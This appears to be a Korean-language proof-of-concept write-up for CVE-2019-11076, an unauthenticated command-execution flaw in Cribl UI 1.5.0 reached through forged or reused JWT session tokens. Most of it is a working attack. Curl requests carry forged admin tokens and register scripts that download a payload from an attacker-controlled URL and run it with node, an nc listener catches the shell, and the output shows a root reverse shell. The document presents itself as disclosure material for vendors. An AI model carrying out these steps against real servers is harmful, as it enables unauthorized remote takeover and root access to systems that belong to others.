
CVE-2019-11076 - Cribl UI 1.5.0은 인증되지 않은 웹 요청을 통해 원격 공격자가 임의의 명령을 실행할 수 있도록 허용합니다.
본 문서는 정보 제공 및 교육 목적으로만 제공됩니다.
본 문서는 공급업체가 수정 사항을 검증할 수 있도록 도구의 보안 취약점을 시연하기 위해 작성되었습니다.
Cribl v1.5.0에서 테스트됨 - 이전 버전은 테스트되지 않았지만 취약할 가능성이 높습니다.
유효한 JWT 토큰을 다른 Cribl 인스턴스의 세션으로 전송하고 주입할 수 있어, 사용자에게 인증되지 않은 접근 권한을 부여합니다.
또한, JWT/세션 생성에 사용된 암호화 키를 사용하면 만료 기간이 연장된 유효한 세션을 임의의 사용자 이름으로 생성할 수 있습니다.
이 취약점은 Cribl 내에서 스크립트를 실행할 수 있는 기능과 결합되면, 원격 공격자가 Cribl 인스턴스에서 악성 코드를 실행하여 추가적인 제어 권한을 얻을 수 있습니다.
아래 예시에서 볼 수 있듯이, 스크립트 페이지와 긴 만료 기간의 JWT 토큰을 사용하여 리버스 셸을 생성할 수 있었습니다.
Docker(Alpine)를 사용하여 테스트되었습니다.
먼저 (원격 호스트 이름)을 수정하고 shell.js를 웹 서버에 업로드합니다. 이 파일에는 웹 사이트로 리버스 셸을 생성하는 NodeJS 코드가 포함되어 있습니다.
서버는 원격 호스트/포트에 대한 아웃바운드 네트워크 접근 권한이 있어야 합니다.
둘째, 원격 호스트에서 shell.js와 일치하는 포트에 리스너를 설정합니다:
nc -lvp 6669
다음 curl 명령을 원격 파일에 맞게 조정합니다.
CURL 명령을 순서대로 실행하면 출력은 아래 들여쓰기된 결과와 대략 일치해야 합니다.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...